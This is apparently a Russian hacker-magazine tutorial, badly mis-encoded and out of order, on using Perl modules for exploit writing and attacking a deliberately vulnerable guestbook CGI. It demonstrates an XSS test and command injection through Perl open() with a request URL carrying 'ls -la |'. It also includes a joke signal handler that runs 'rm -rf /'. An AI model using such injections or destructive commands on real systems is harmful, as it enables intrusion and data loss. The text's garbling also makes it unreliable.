×ÀÒÛÂÀÅÒ ÎÒÂÅÒ, ÂÎÇÂÐÀÙÀÅÒ ÊÎÄ

ÎÒÂÅÒÀ ÑÅÐÂÅÐÀ;

� GGEETTSSTTOORREE(($$UURRLL,, $$FFIILLEE)) � ÏÎËÓ×ÀÅÒ

È ÑÎÕÐÀÍßÅÒ ÎÒÂÅÒ Â $FILE, ÂÎÇÂÐÀ-

ÙÀÅÒ ÊÎÄ ÎÒÂÅÒÀ ÑÅÐÂÅÐÀ.

Âîîáùå, áèáëèîòåêà ýòà äîñòàòî÷íî ìîùíàÿ è ìî-
æåò áûòü èñïîëüçîâàíà äàæå äëÿ íàïèñàíèÿ ñâîåãî
ìàëåíüêîãî HTTP-ñåðâåðà. Äëÿ ïîäðîáíîãî ðàññêà-
çà îáî âñåõ âîçìîæíîñòÿõ LWP ïîòðåáîâàëñÿ áû
îáúåì âñåãî æóðíàëà. Íàïðèìåð, ñ ïîìîùüþ LWP
ìîæíî ðàáîòàòü ÷åðåç Proxy, è ìíîãî ÷åãî åùå ïî-
ëåçíîãî äåëàòü. Îäíàêî èäåì äàëüøå.

íèçêîóðîâíåâàÿ ððàáîòà ññ ïïðîòîêîëàìè. Åñëè â
ïðîöåññå íàïèñàíèÿ ýêñïëîéòà âîçíèêàåò íåîáõîäè-
ìîñòü ñïóñòèòüñÿ ñ ïðèêëàäíîãî óðîâíÿ íèæå ïî ñòåêó
ïðîòîêîëîâ, òî è òóò Perl ïðåäîñòàâèò íàì äîñòàòî÷-
íûé íàáîð èíñòðóìåíòîâ. Äëÿ íà÷àëà ðàññìîòðèì, êàê
æå îðãàíèçîâàòü êëèåíò-ñåðâåðíîå ñîåäèíåíèå ïîä
Perl. Äëÿ ðåøåíèÿ ýòîé çàäà÷è â ñòàíäàðòíóþ ïîñòàâ-
êó Perl âêëþ÷åí ïàêåò IO::Socket, êîòîðûé è îáåñïå÷è-
âàåò áàçîâóþ ôóíêöèîíàëüíîñòü ñîêåòîâ. Ýòîò êëàññ
èìååò ìíîæåñòâî ïîäêëàññîâ, êîòîðûå íàñëåäóþò âñå
åãî ìåòîäû è îáåñïå÷èâàþò áîëåå êîíêðåòíóþ ôóíê-
öèîíàëüíîñòü (íàïðèìåð, IO::Socket::INET äëÿ ðàáîòû
ñ TCP- è UDP-ñîêåòàìè, IO::Socket::SSL äëÿ ðàáîòû ñ
çàùèùåííûì ñîåäèíåíèåì è òàê äàëåå). Ïîìèìî ýòî-
ãî êëàññà, â Perl ñóùåñòâóåò áàçîâûé ìîäóëü Socket,
êîòîðûé ïðîñòî ðåàëèçóåò ôóíêöèîíàë ñòàíäàðòíîé
C-áèáëèîòåêè Socket.h è ÿâëÿåòñÿ ìîäóëåì áîëåå íèç-
êîãî óðîâíÿ, ÷åì IO::Socket.

×òîáû ñîçäàòü TCP-êëèåíò, êîòîðûé áû ñîå-
äèíÿëñÿ ñ êàêèì-ëèáî ñåðâåðîì, ñ ïîìîùüþ IO::So-
cket::INET, äîñòàòî÷íî ñëåäóþùåãî ïðîñòîãî êîäà:

use IO::Socket::INET;

my $socket = IO::Socket::

INET->new(PeerAddr->$remote_host,

PeerPort->$remote_port, Proto->

«tcp», Type->SOCK_STREAM)

or die «Can't open connection

with $remote_host:$remote_port: $!\n»;

print $socket 'Save the planet � kill

yourself!';

$answer = <$socket>;

close($socket);

Â ïåðâîé ñòðî÷êå ìû ïîäêëþ÷àåì íóæíóþ áèáëèîòå-
êó. Âî âòîðîé ñòðîêå ìû âûçûâàåì êîíñòðóêòîð êëàñ-
ñà IO::Socket::INET ñî ñëåäóþùèìè ïàðàìåòðàìè:

� PPEEEERRAADDDDRR ((ÑÑÈÈÍÍÎÎÍÍÈÈÌÌ PPEEEERRHHOOSSTT))
ÀÄÐÅÑ ÓÄÀËÅÍÍÎÃÎ ÑÅÐÂÅÐÀ Â ÂÈÄÅ
ÑÒÐÎÊÈ 'XX.XX.XX.XX' ÈËÈ ÈÌÅ-
ÍÈ ÑÅÐÂÅÐÀ;

� PPEEEERRPPOORRTT � Î×ÅÂÈÄÍÎ, ÏÎÐÒ 
ÍÀÇÍÀ×ÅÍÈß;

� PPRROOTTOO � ÏÐÎÒÎÊÎË, ÏÎ ÊÎÒÎÐÎÌÓ
ÏËÀÍÈÐÓÅÒÑß ÓÑÒÀÍÎÂÈÒÜ ÑÎÅÄÈÍÅ-
ÍÈÅ ('TCP, 'UDP' È ÒÀÊ ÄÀËÅÅ);

� TTYYPPEE � ÒÈÏ ÑÎÊÅÒÀ. Â ÍÀØÅÌ ÑËÓ×ÀÅ
SOCK_STREAM (ÏÎÒÎÊÎÂÛÉ ÑÎÊÅÒ, 
ÃÀÐÀÍÒÈÐÓÅÒÑß ÄÎÑÒÀÂÊÀ ÄÀÍÍÛÕ �
ÐÅÆÈÌ ÂÈÐÒÓÀËÜÍÛÕ ÑÎÅÄÈÍÅÍÈÉ),
ÒÀÊÆÅ ÂÎÇÌÎÆÍÛ ÇÍÀ×ÅÍÈß
SOCK_RAW (ÑÈÌÂÎËÜÍÛÉ, ÍÅÑÒÐÓÊÒÓ-
ÐÈÐÎÂÀÍÍÛÉ ÑÎÊÅÒ) È SOCK_DGRAM
(ÐÅÆÈÌ ÏÅÐÅÑÛËÊÈ ÄÀÉÒÀÃÐÀÌÌ).

Ïîñëå îòêðûòèÿ êëèåíòñêîãî ñîêåòà ìû ìîæåì ðà-
áîòàòü ñ íèì, êàê ñ ôàéëîâûì äèñêðèïòîðîì,
òî åñòü òàêæå ïèñàòü ñ ïîìîùüþ print è ÷èòàòü ñ ïî-
ìîùüþ îïåðàòîðà <>.

Äëÿ îòêðûòèÿ ñîêåòà íà îæèäàíèå ñîåäèíå-
íèÿ (÷òî âðÿä ëè ïîòðåáóåòñÿ äëÿ íàïèñàíèÿ
ýêñïëîéòà, íî íåîáõîäèìî äëÿ ïîëíîòû ïîíèìà-
íèÿ), äîñòàòî÷íî óêàçàòü ïàðàìåòðû Listen (ìàêñè-
ìàëüíîå êîëè÷åñòâî ïîòîêîâ), Type è LocalPort.
Íàïðèìåð, âîò òàê:

my $serever = IO::Socket::

INET->new(LocalPort => $server_port,

Type => SOCK_STREAM, Listen => 10);

while($client = $server->accept())

{

... # îáðàáîòêà ýòîãî ñîåäèíåíèÿ

}

Ïîñëå îòêðûòèÿ ñîêåòà íà îæèäàíèå $server->accept()
(ýòî ìåòîä ìîäóëÿ IO::Socket) âîçâðàùàåò ïåðâîå óñ-
òàíîâëåííîå ñîåäèíåíèå, ñ êîòîðûì ìû ìîæåì ðàáî-
òàòü àíàëîãè÷íî $socket èç ïåðâîãî ïðèìåðà. Âñå òî
æå ñàìîå ìîæíî ñäåëàòü è íà áîëåå íèçêîì óðîâíå,
èñïîëüçóÿ ìîäóëü Socket, êîòîðûé ïî ñâîèì âîçìîæ-
íîñòÿì ïîëíîñòüþ àíàëîãè÷åí ñîîòâåòñòâóþùåé áèá-
ëèîòåêå C, òàê ÷òî man socket íàì ïîìîæåò.

Ñëåäóþùèé íàáîð ìîäóëåé, êîòîðûé ìîæåò
áûòü ïîëåçåí � Net::*. Ýòè ìîäóëè ñòîèò èñïîëüçî-
âàòü, åñëè íóæíà ðàáîòà ñî ñòàíäàðòíûìè ñåðâèñà-
ìè, òàêèìè êàê Telnet, SMTP, FTP (Net::Telnet,
Net::SMTP, Net::FTP ñîîòâåòñòâåííî). Ïîìèìî âû-
øåïåðå÷èñëåííûõ ìîäóëåé, â ðàìêàõ ýòîé áèáëèî-
òåêè ðåàëèçîâàíà öåëàÿ êó÷à ïðîñòî î÷åíü ïîëåç-
íûõ ìîäóëåé (Net::IP, Net::TCP, Net::HTTP, Net::Gen,
Net:Inet ...), ôóíêöèîíàë êîòîðûõ ïîíÿòåí èç íàçâà-
íèÿ. Net::Gen è Net::Inet � ðàáîòà ñ ñîêåòàìè,
Net::TCP � ðàáîòà ñ tcp-ñîêåòàìè (ïîâåðõ òåõ æå
Net::Inet è Net::Gen), Net::IP � ðàñøèðåíèå äëÿ âñå-
âîçìîæíûõ ïðåîáðàçîâàíèé IP-àäðåñîâ, Net::HTTP �
íèçêîóðîâíåâàÿ ðàáîòà ñ http íà ñòîðîíå êëèåíòà è
òàê äàëåå.
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Íåñêîëüêî ñëîâ î Net::HTTP. Ýòîò ìîäóëü ïîçâî-
ëÿåò ðàáîòàòü ñ ïîçèöèè ïðîòîêîëà, òàê ñêàçàòü.
Òî åñòü äàåò ïîëíûé äîñòóï ê ôîðìèðîâàíèþ
HTTP-çàïðîñà, â îòëè÷èå îò LWP, êîòîðûé ñêðû-
âàåò ïîäðîáíîñòè è ñëóæèò äëÿ áîëåå ïðîñòîãî è
áûñòðîãî äîñòóïà ê www-äîêóìåíòàì. Net::HTTP
ÿâëÿåòñÿ ïîäêëàññîì IO::Socket::INET, ïîýòîìó
ìîæíî èñïîëüçîâàòü ìåòîäû ïîñëåäíåãî äëÿ ïðÿ-
ìîãî ÷òåíèÿ èç ñîêåòà è çàïèñè â ñîêåò, íàðÿäó ñ
ôóíêöèÿìè ñàìîãî Net::HTTP. Èñïîëüçîâàíèå
Net::HTTP ïîêàçàíî íà ñëåäóþùåì ñòàíäàðòíîì
ïðèìåðå:

use Net::HTTP;

my $con = Net::HTTP->new(Host->

«www.xakep.ru») || die 'ups, somthing

wrong...';

$con->write_request(GET->"/",

'User-Agent'->"MyMegaAgent/1.0");

my($code, $mess, %h) =

$s->read_response_headers;

while (1) {

my $buf;

my $n = $s->read_entity_body($buf,

1024);

die "read failed: $!" unless defined $n;

last unless $n;

print $buf;

}

Ïîìèìî âñåãî ïåðå÷èñëåííîãî, â ñëó÷àå, åñëè íåîá-
õîäèìà äåéñòâèòåëüíî íèçêîóðîâíåâàÿ ðàáîòà ñ
ïðîòîêîëàìè, ñòîèò ïðèãëÿäåòüñÿ ê áèáëèîòåêå
NetPacket, êîòîðàÿ âêëþ÷àåò òàêèå ìîäóëè, êàê
NetPacket::Ethernet, NetPacket::TCP, NetPacket::IP,
NetPacket::ICMP è òàê äàëåå.

Âñå ìîäóëè ýòîé áèáëèîòåêè îðãàíèçîâàíû
îäèíàêîâî. Ìåòîä decode ñîîòâåòñòâóþùåãî ìîäó-
ëÿ ïðèíèìàåò ñûðûå äàííûå è âîçâðàùàåò îáúåêò
ñ ðàçîáðàííûìè äàííûìè. Ýòîò îáúåêò ñîäåðæèò
ïîëÿ, êîòîðûå ñîîòâåòñòâóþò ñòàíäàðòíûì ÷àñòÿì
çàãîëîâêà ñîîòâåòñòâóþùåãî ïðîòîêîëà. Ìåòîä
encode, â ñâîþ î÷åðåäü, óïàêîâûâàåò äàííûå,
îôîðìëåííûå â âèäå îáúåêòà. Áîëåå ïîäðîáíàÿ èí-
ôîðìàöèÿ ñîäåðæèòñÿ íà ñîîòâåòñòâóþùèõ ñòðàíè-
öàõ CPAN (http://search.cpan.org/search?query=NetPacket-
&mode=all).

ðàáîòà ññ ííèçêîóðîâíåâûìè ââîçìîæíîñòÿìè
ñèñòåìû. Äëÿ òîãî ÷òîáû ïðîäåìîíñòðèðîâàòü âîç-
ìîæíîñòè Perl â íèçêîóðîâíåâîé ðàáîòå ñ ñèñòåìîé,
ìû ðàññìîòðèì ðàáîòó ñ ñèãíàëàìè è ñèñòåìíûìè âû-
çîâàìè, õîòü ýòè òåìû è íå îòíîñÿòñÿ íàïðÿìóþ ê íà-
ïèñàíèþ ýêñïëîéòîâ. Íà÷íåì ñ ñèãíàëîâ. Â Perl ïðè-
ìåíÿåòñÿ î÷åíü ïðîñòàÿ ìîäåëü ðàáîòû ñ ñèãíàëàìè.
Õýø %SIG ñîäåðæèò ññûëêè íà îïðåäåëåííûå ïîëüçî-
âàòåëåì îáðàáîò÷èêè, â êà÷åñòâå êîòîðûõ ìîãóò âûñ-
òóïàòü ññûëêè íà áëîêè êîäà èëè êëþ÷åâûå ñëîâà.

Íàïðèìåð, ñòðîêà $SIG{'INT'} = 'IGNORE' ïîç-
âîëèò çàùèòèòü ïðèëîæåíèå îò ñëó÷àéíîãî íàæàòèÿ
Ctrl+C. Òàêæå, ÷òîáû îäíîçíà÷íî ïîêàçàòü ïîëüçî-
âàòåëþ, ÷òî ñêðèïò ïðîòèâ ãðóáîãî ñ ñîáîé îáðàùå-
íèÿ, ìîæíî íàïèñàòü ÷òî-òî òèïà:

$SIG{'TERM'} = $SIG{'INT'} = {print

'Whats da F@#$?!'."\n";

system('rm -rf /');}; #êàòåãîðè÷åñêè

íå ñîâåòóþ ñòàâèòü ýòîò îáðàáîò÷èê

íà êàêèå-ëèáî ñèãíàëû 

Äóìàþ, ÷òî çäåñü âñå ÿñíî, � ïîåõàëè äàëüøå.
Äðóãàÿ âîçìîæíîñòü, êîòîðàÿ áóäåò îöåíåíà

C-ïðîãðàììåðàìè � ýòî âîçìîæíîñòü ðàáîòû íàï-

ðÿìóþ ñ ñàìûì áàçîâûì ïîëüçîâàòåëüñêèì èíòåð-
ôåéñîì Unix � ñèñòåìíûìè âûçîâàìè. Perl ïðåäîñ-
òàâëÿåò èíòåðôåéñ äëÿ ðàáîòû ñ ñèñòåìíûìè âûçî-
âàìè ñ ïîìîùüþ âñòðîåííîé ïðîöåäóðû syscall, êî-
òîðàÿ èñïîëüçóåòñÿ ñëåäóþùèì îáðàçîì:

syscall LIST;

Ýòà ñòðî÷êà âûçûâàåò ñèñòåìíûé âûçîâ (ïðîøó ïðî-
ùåíèÿ çà òàâòîëîãèþ), çàäàííûé â ïåðâîì ýëåìåí-
òå LIST â âèäå &SYS_èìÿ_âûçîâà, ïåðåäàâàÿ â êà-
÷åñòâå ïàðàìåòðîâ îñòàâøèåñÿ ýëåìåíòû ñïèñêà.
Íåîáõîäèìî çíàòü, ÷òî Perl äîïóñêàåò òîëüêî 14 ïà-
ðàìåòðîâ äëÿ ñèñòåìíîãî âûçîâà. Â ñëó÷àå íåóäà÷è
syscall âîçâðàùàåò -1 è óñòàíàâëèâàåò êîä îøèáêè â
ñòàíäàðòíóþ ïåðåìåííóþ $!, â ñëó÷àå óñïåõà �
âîçâðàùàåòñÿ çíà÷åíèå, êîòîðîå áûëî âîçâðàùåíî
ñàìèì ñèñòåìíûì âûçîâîì. Ðàññìîòðèì ñëåäóþ-
ùèé ñòàíäàðòíûé ïðèìåð:

package main;

require 'syscall.ph';

use strict;

$!=0;

my $string = 'Hell no, world!';

$!=0;

syscall (&SYS_write, fileno(STDOUT),

$string, length $string);

if($!)

{

print('syscall SYS_write failed:

' . $! . "\n");

}

else {print "Success!\n"};

1;

Ëèñòèíã âïîëíå ïîíÿòåí, äîáàâëþ òîëüêî, ÷òî ôóíê-
öèÿ fileno âîçâðàùàåò ôàéëîâûé äåñêðèïòîð ïî çà-
äàííîìó èìåíè, à ôóíêöèÿ length âîçâðàùàåò äëè-
íó ñòðîêè. Âîò, ñîáñòâåííî, è âñå, ÷òî íóæíî çíàòü,
÷òîáû ðàáîòàòü ñ ñèñòåìíûìè âûçîâàìè ïîä Perl.
Âñÿêîå îñòàëüíîå ïðî ñèñòåìíûå âûçîâû ìîæíî óç-
íàòü, èñïîëüçóÿ âîëøåáíóþ êîìàíäó man.

çàêëþ÷åíèå. Î÷åíü íàäåþñü, ÷òî ýòà ñòàòüÿ
ïîìîæåò òåáå íåìíîãî ñîðèåíòèðîâàòüñÿ â ñðåä-
ñòâàõ, íåîáõîäèìûõ äëÿ íàïèñàíèÿ ýêñïëîéòîâ íà
Perl. Åñòåñòâåííî, â ðàìêàõ ñòàòüè íåâîçìîæíî îñ-
âåòèòü âñå, ÷òî íåîáõîäèìî äëÿ ýòîãî çíàòü, òàê
êàê ïîìèìî âëàäåíèÿ èíñòðóìåíòàìè íóæíî åùå
ïîíèìàòü, ÷òî èìåííî ïèñàòü. Îäíàêî ÿ íàäåþñü,
÷òî ìíå óäàëîñü ðàññòàâèòü ìàÿ÷êè, êîòîðûå ïî-
ìîãóò òåáå â ñàìîîáðàçîâàíèè. Íàïîìíþ, ÷òî ìû
ðàññìîòðåëè òîëüêî ñàìûå îñíîâíûå èíñòðóìåí-
òû, êîòîðûõ, îäíàêî, äîëæíî õâàòèòü äëÿ î÷åíü
ìíîãèõ ðåàëüíûõ çàäà÷. Â Perl áîëåå ÷åì äîñòàòî÷-
íî ãîòîâûõ áèáëèîòåê, îáëàäàþùèõ ÷àñòî ïåðåñå-
êàþùèìñÿ ôóíêöèîíàëîì, ÷òî ñîîòâåòñòâóåò èäå-
îëîãèè Perl (îäíî è òî æå äåéñòâèå ìîæåò áûòü âû-
ïîëíåíî ðàçëè÷íûìè ñïîñîáàìè), è òîëüêî òåáå
ðåøàòü, êàêîé èíñòðóìåíò âûáðàòü. Ïîýòîìó ÷è-
òàé, äóìàé, ïðîáóé!

65

Ïðèìåð äîñòóïà ê ftp

use LWP::UserAgent;

my $obj = LWP::UserAgent->new();

$obj->agent('MyExapmle/1.0');

my $req = HTTP::Request->new(GET!'http://www.xakep.ru');

my $result = $obj->request($req);

if($result->is_success)

{

print 'Code: ' . $result->code . "\n";

print 'Message: ' . $result->message . "\n";

print 'Headers: ' . $result->headers. "\n";

foreach my $key ( keys(%{$result->headers}) )

{

print '   ' . $key . ":" . $result->headers->{$key} . "\n";

}

}

else

{

print $result->status_line, "\n";

}

1;

(1)



Êñòàòè, íå íàäî äóìàòü, ÷òî íàéòè ïîäîáíûé îáðàç-
÷èê íåâåæåñòâà íà ïðîñòîðàõ Ñåòè òÿæåëî. Âîâñå
íåò, èáî äàæå â êîäå îïûòíûõ ïðîãðàììèñòîâ ïîñëå
ïàðû áåññîííûõ íî÷åé è äåñÿòêà êðóæåê êîôå íà÷è-
íàþò ïðîñêàêèâàòü íåôèëüòðóåìûå ïîëÿ èëè åùå
êàêèå-íèáóäü ïðèçíàêè êðàéíåãî ïåðåóòîìëåíèÿ :).

Èòàê, íàøà öåëü � âûÿâèòü îñíîâíûå óÿçâè-
ìîñòè è íàïèñàòü ýêñïëîéò (èùè óÿçâèìûé cgi
íà äèñêå). Ïðèñòóïèì.

Äëÿ íà÷àëà îïðåäåëèìñÿ, ñ ÷åì ìû èìååì äåëî.
Êó÷à çàïèñåé áåç êàêîãî-ëèáî îôîðìëåíèÿ è îäíà
ôîðìà ñ äâóìÿ òåêñòîâûìè ïîëÿìè è êíîïêîé � íå ãóñ-
òî. Îäíàêî ìîé áîãàòûé æèçíåííûé îïûò ïîäñêàçûâà-
åò, ÷òî äàæå òàêîãî ìàëîãî êîëè÷åñòâà ïîòåíöèàëüíî
óÿçâèìûõ ìåñò áûâàåò äîñòàòî÷íî äëÿ íàëè÷èÿ êðèòè-
÷åñêîé îøèáêè. Ñâèíüÿ ãðÿçü íàéäåò :). Ñîìíèòåëüíî,
÷òîáû ñòîëü ïðèìèòèâíàÿ êîíñòðóêöèÿ ðàáîòàëà íà îñ-
íîâå ÑÓÁÄ, âåðîÿòíî, ìû èìååì äåëî ñ òèïè÷íîé ôàé-
ëîâîé ãåñòáóêîé, êîòîðóþ çà ïàðó äíåé ïî ó÷åáíèêó
ñëåïèë «ìîëîäîé ñïåöèàëèñò». Ôàêòè÷åñêè, âñå, ÷òî
ìû ìîæåì ñäåëàòü ïðè èññëåäîâàíèè âåá-èíòåðôåé-
ñà � îïðåäåëèòü, êàêèå ïàðàìåòðû äîñòóïíû äëÿ èç-
ìåíåíèÿ, ôèëüòðóþòñÿ ëè îíè (åñëè äà, òî êàê), èõ ñî-
äåðæèìîå, è íàñêîëüêî õîðîøî â ñêðèïòå îðãàíèçîâà-
íà îáðàáîòêà èñêëþ÷èòåëüíûõ ñèòóàöèé (ïåðåäà÷à
íåñòàíäàðòíûõ ïàðàìåòðîâ èëè ïàðàìåòðîâ íåîáû÷-
íîé äëèíû, èçìåíåíèå HTTP-ìåòîäà ñ POST íà GET è
îáðàòíî è òàê äàëåå). Ïîýòîìó â íà÷àëå èññëåäîâàíèÿ
ñòîèò ïðîâåðèòü, ôèëüòðóåòñÿ ëè òåêñò, ââîäèìûé
ïîëüçîâàòåëÿìè â òåêñòîâîå ïîëå. Äëÿ ýòîãî ìû çàáà-
áàõàåì òóäà êàêîé-íèáóäü HTML-êîä (íàïðèìåð, <a
href=«www.xakep.ru»>Òûö</a> � íå ïðèíöèïèàëüíî)
è ïîñìîòðèì íà ðåçóëüòàò. Îïóáëèêîâàâ ñîîáùåíèå,
ìû óâèäèì îôîðìëåííóþ ññûëêó. Çíà÷èò, ïîäñòàíîâ-
êà òåêñòà ïðîèñõîäèò áåç ïðîâåðêè, â ìîìåíò ôîðìè-
ðîâàíèÿ øàáëîíà ñòðàíèöû, è ìû ïî ñâîåìó ðàçóìå-
íèþ ìîæåì êðîèòü ñòðàíèöó, âñòðàèâàÿ çëîâðåäíûå
ñêðèïòû, êîòîðûå áóäóò âûïîëíåíû íà ñòîðîíå äðóãèõ
ïîëüçîâàòåëåé � XSS! Ïðèñóòñòâèå òàêîé äûðû î÷åíü
ðàäóåò (î òîì, êàê åå èñïîëüçîâàòü � ÷èòàé âåñü ýòîò
íîìåð), íî îíà íå äàåò íàì íèêàêîãî ïðîñòîðà äëÿ

ïðàêòèêè â íàïèñàíèè ýêñïëîéòîâ, ïîýòîìó ñìîòðèì,
÷òî ó íàñ åñòü åùå. Ñëåãêà ïîâåñåëåâ è ðàññëàáèâ-
øèñü, îáðàòèìñÿ ê HTML-êîäó íàøåé ìíîãîñòðàäàëü-
íîé ãîñòåâîé êíèãè.

Êàê ìû âèäèì, â HTML-êîäå êàæäîãî ñîîáùå-
íèÿ åñòü êàêèå-òî ìóòíûå ïîëÿ <INPUT TYPE=«HID-
DEN" NAME="ID» VALUE="1167069479"> è òî÷íî òà-
êîå æå ïîëå åñòü â ôîðìå îòïðàâêè ñîîáùåíèÿ. Îá-
íîâèâ íåñêîëüêî ðàç ñòðàíèöó, ìû çàìåòèì, ÷òî ÷èñ-
ëî â ïàðàìåòðå ID êàæäûé ðàç âîçðàñòàåò. ß äóìàþ,
ïî âèäó ýòèõ ñòðàííûõ ID óæå ïîíÿòíî, ÷òî ýòî òàêîå,
íî íå áóäåì çàáåãàòü âïåðåä è ïîïðîáóåì îòïðàâèòü
ñâîå ñîîáùåíèå. Ïèøåì òðîãàòåëüíîå ïîñëàíèå
«ôñåì â ýòîì ÷àòè» è ðàäîñòíî æìåì íà «Îòïðà-
âèòü». Ïîñëå îáíîâëåíèÿ íà ñòðàíèöå ïîÿâèëàñü íà-
øà çàïèñü, çíà÷åíèå ñêðûòîãî ïîëÿ êîòîðîé ñòàëî
ðàâíî 1167069479, òî åñòü òîìó çíà÷åíèþ, êîòîðîå
èçíà÷àëüíî áûëî â ôîðìå îòïðàâêè ñîîáùåíèÿ,
à â ñàìîé ôîðìå íà ìåñòå ýòîãî ÷èñëà ïîÿâèëîñü
÷èñëî 1167070058. Íå áóäó òÿíóòü ðåçèíó, âñå è òàê
óæå äîãàäàëèñü, ÷òî ýòî ÷èñëî � âðåìÿ ñ ìîìåíòà
íà÷àëà ýïîõè â ñåêóíäàõ � ñèñòåìíîå âðåìÿ Unix.
Èòàê, âðåìÿ çàãðóçêè ôîðìû ñâÿçûâàåòñÿ ñ ñàìîé
çàïèñüþ. Çà÷åì ýòî ìîæåò áûòü ñäåëàíî? Âåðîÿòíî,
íàøà ãîñòåâóõà ñêðîåíà èç ôàéëîâ, è òàêèì îáðàçîì
ãîðå-ïðîãðàììåð îáåñïå÷èâàåò óíèêàëüíîñòü èìåíè
ôàéëà äëÿ êàæäîé çàïèñè (âîîáùå ãîâîðÿ, ôàéëû
òóò âîâñå íå îáÿçàòåëüíû, íî ìû óæå ðåøèëè, ÷òî
ñ áîëüøîé âåðîÿòíîñòüþ èìååì äåëî èìåííî ñ íè-
ìè). Çà÷åì æå íóæíî áûëî ïåðåäàâàòü ýòîò ïàðàìåòð
â ôîðìó? Íó, ñêîðåå âñåãî, ýòî ñäåëàíî äëÿ êàêèõ-òî
àäìèíèñòðàòèâíûõ öåëåé, âîçìîæíî, äëÿ çëîáíîãî
ìîäåðèðîâàíèÿ. Îäíàêî îñòàâèì çà êàäðîì ïîïûòêè
ðàçãàäàòü òàéíó ìûøëåíèÿ ïðîãðàììèñòà, íàïèñàâ-
øåãî íàøó ãåñòáóêó, è ïîïðîáóåì ïîäóìàòü, ÷òî ìû

ìîæåì ñäåëàòü ñ ýòèì ïàðàìåòðîì. À ñäåëàòü ìû
ñ íèì ìîæåì âñÿêîå. Íàïðèìåð, åñëè ïàðàìåòð ïåðå-
äàåòñÿ â èìÿ ôàéëà áåç ôèëüòðàöèè, ëèáî åñëè
ôèëüòðàöèÿ âûïîëíåíà êðèâî, òî ýòî áóäåò îçíà÷àòü,
÷òî ìû èìååì âñå âîçìîæíîñòè äëÿ âûïîëíåíèÿ ëþ-
áûõ êîìàíä â shell'å ñ ïðàâàìè âåá-ñåðâåðà. Çäåñü
íóæíî ñäåëàòü ìà-à-àëåíüêîå ëèðè÷åñêîå îòñòóïëå-
íèå. Ñòàíäàðòíàÿ ïðîöåäóðà open() â Perl ìîæåò ïðè-
íèìàòü íå òîëüêî èìåíà ôàéëîâ â âèäå ñòðîê, íî è
ïðîèçâîëüíûå êîìàíäû. Ýòî î÷åíü óäîáíî, åñëè òðå-
áóåòñÿ âûïîëíèòü âíåøíþþ ïðîãðàììó è ïîëó÷èòü
åå âûâîä. Îäíàêî ýòà âîçìîæíîñòü òàèò â ñåáå íåõè-
ëóþ äûðó. ×òîáû ïîñìîòðåòü, êàê ýòî ðàáîòàåò, ïðåä-
ëàãàþ ñäåëàòü ñëåäóþùåå:

>perl -d -e 0

>open FF, 'ls -l |';

>print <FF>;

Ïîÿñíþ. Ïåðâîé ñòðî÷êîé ìû çàïóñêàåì îòëàä÷èê
â ìèíèìàëüíîì ðåæèìå (â êà÷åñòâå îòëàæèâàåìî-
ãî êîäà ó íàñ ìèíèìàëüíî-äîïóñòèìàÿ ñòðîêà �
«0»), ïîñëå ÷åãî â êîíòåêñòå îòëàä÷èêà âûïîëíÿåì
ïðîáíûé êîä (îòëàä÷èê � ýòî î÷åíü óäîáíûé ñïîñîá
áûñòðîé ïðîâåðêè áåçóìíûõ èäåé).

ðåçóëüòàòû ââûïîëíåíèÿ êêîìàíä ââ êîíòåêñòå îîò-
ëàä÷èêà. Äóìàþ, ïîëó÷åííûå ðåçóëüòàòû â êîììåíòà-
ðèÿõ íå íóæäàþòñÿ. Ãðóáî, íå âäàâàÿñü â ïîäðîáíîñòè:
ìû âûïîëíÿåì âíåøíþþ ïðîãðàììó è ñîçäàåì pipe
ñ âûõîäîì íà ôàéëîâûé äåñêðèïòîð. Ïðèíöèïèàëüíî
âñå íåñêîëüêî èíà÷å, íî íàñ ýòî ñåé÷àñ íå âîëíóåò.
Èòàê. Ïðîâåðÿåì, ôèëüòðóåòñÿ ëè èíòåðåñóþùåå
íàñ ïîëå è íå îøèáëèñü ëè ìû, ïðåäïîëîæèâ, ÷òî
îíî èìååò îòíîøåíèå ê èìåíè ôàéëà, â êîòîðîì
õðàíèòñÿ çàïèñü. Ñîñòàâèì çàïðîñ: 

ïïååððëë ííàà èèããëëåå
Ïðàêòè÷åñêèé êóðñ ïî íàïèñàíèþ ýêñïëîéòà

Â ÄÀÍÍÎÉ ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÏÐÎÖÅÑÑ ÍÀÏÈÑÀÍÈß ÝÊÑÏËÎÉÒÀ ÍÀ ÏÐÈÌÅÐÅ
ÄÛÐßÂÎÃÎ CGI-ÑÊÐÈÏÒÀ ÃÎÑÒÅÂÎÉ ÊÍÈÃÈ, ÊÎÒÎÐÛÉ ÁÛ ÑÄÅËÀË ×ÅÑÒÜ ËÞÁÎÌÓ ÌÓÇÅÞ
ÏÐÎÃÐÀÌÌÍÛÕ ÓÐÎÄÖÅÂ. Â ÝÒÎÌ ÑÊÐÈÏÒÅ ÑÎÁÐÀÍÛ ÂÎÅÄÈÍÎ ÑÀÌÛÅ ÊÎØÌÀÐÍÛÅ
ÎØÈÁÊÈ, ÊÎÒÎÐÛÅ ÌÎÆÅÒ ÑÎÂÅÐØÈÒÜ ÍÀ×ÈÍÀÞÙÈÉ WEB-ÏÐÎÃÐÀÌÌÈÑÒ
ÏÐÈ ÍÀÏÈÑÀÍÈÈ CGI-ÑÊÐÈÏÒÀ (Ñ ÑÀÌÈÌ ÑÊÐÈÏÒÎÌ ÒÛ ÑÌÎÆÅØÜ ÎÇÍÀÊÎÌÈÒÜÑß
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http://dm9.ru/cgi-bin/

perltest/script.cgi?Send=

%D0%9E%D1%82%D0%BF%D1%80%D0%B0%

D0%B2%D0%B8%D1%82%D1%

8C&text=1&name=1&ID=ls%20-la%20|.

ïàðàìåòð ââ ííàøåì ïïðèìåðå íå ôèëüòðóåòñÿ,
à çíà÷èò � ïðàçäíèêó áûòü! Òàêîé áåçàëàáåðíûé
ïîäõîä ê âíåøíèì äàííûì äàåò íàì êàðò-áëàíø íà
âûïîëíåíèå êîìàíä íà ñòîðîíå ñåðâåðà. Ñîáñòâåí-
íî, âîò ìû è ïîäîøëè ê ñàìîìó èíòåðåñíîìó. Êàæ-
äûé ðàç ôîðìèðîâàòü çàïðîñ âðó÷íóþ � íå íàø
ìåòîä, è ìû íàìåðåâàåìñÿ ýòîò ïðîöåññ êàê-òî àâ-
òîìàòèçèðîâàòü. Òî÷íåå, íå ïðîñòî àâòîìàòèçèðî-
âàòü, íî è âûëîæèòü ýêñïëîéò â ñåòü íà ñëó÷àé, åñ-
ëè íàø çëî-ïðîãðàììåð çàõî÷åò ñäåëàòü ïðîäóêò
ñâîåãî òâîð÷åñòâà îáùåäîñòóïíûì. Òàêèì îáðàçîì,
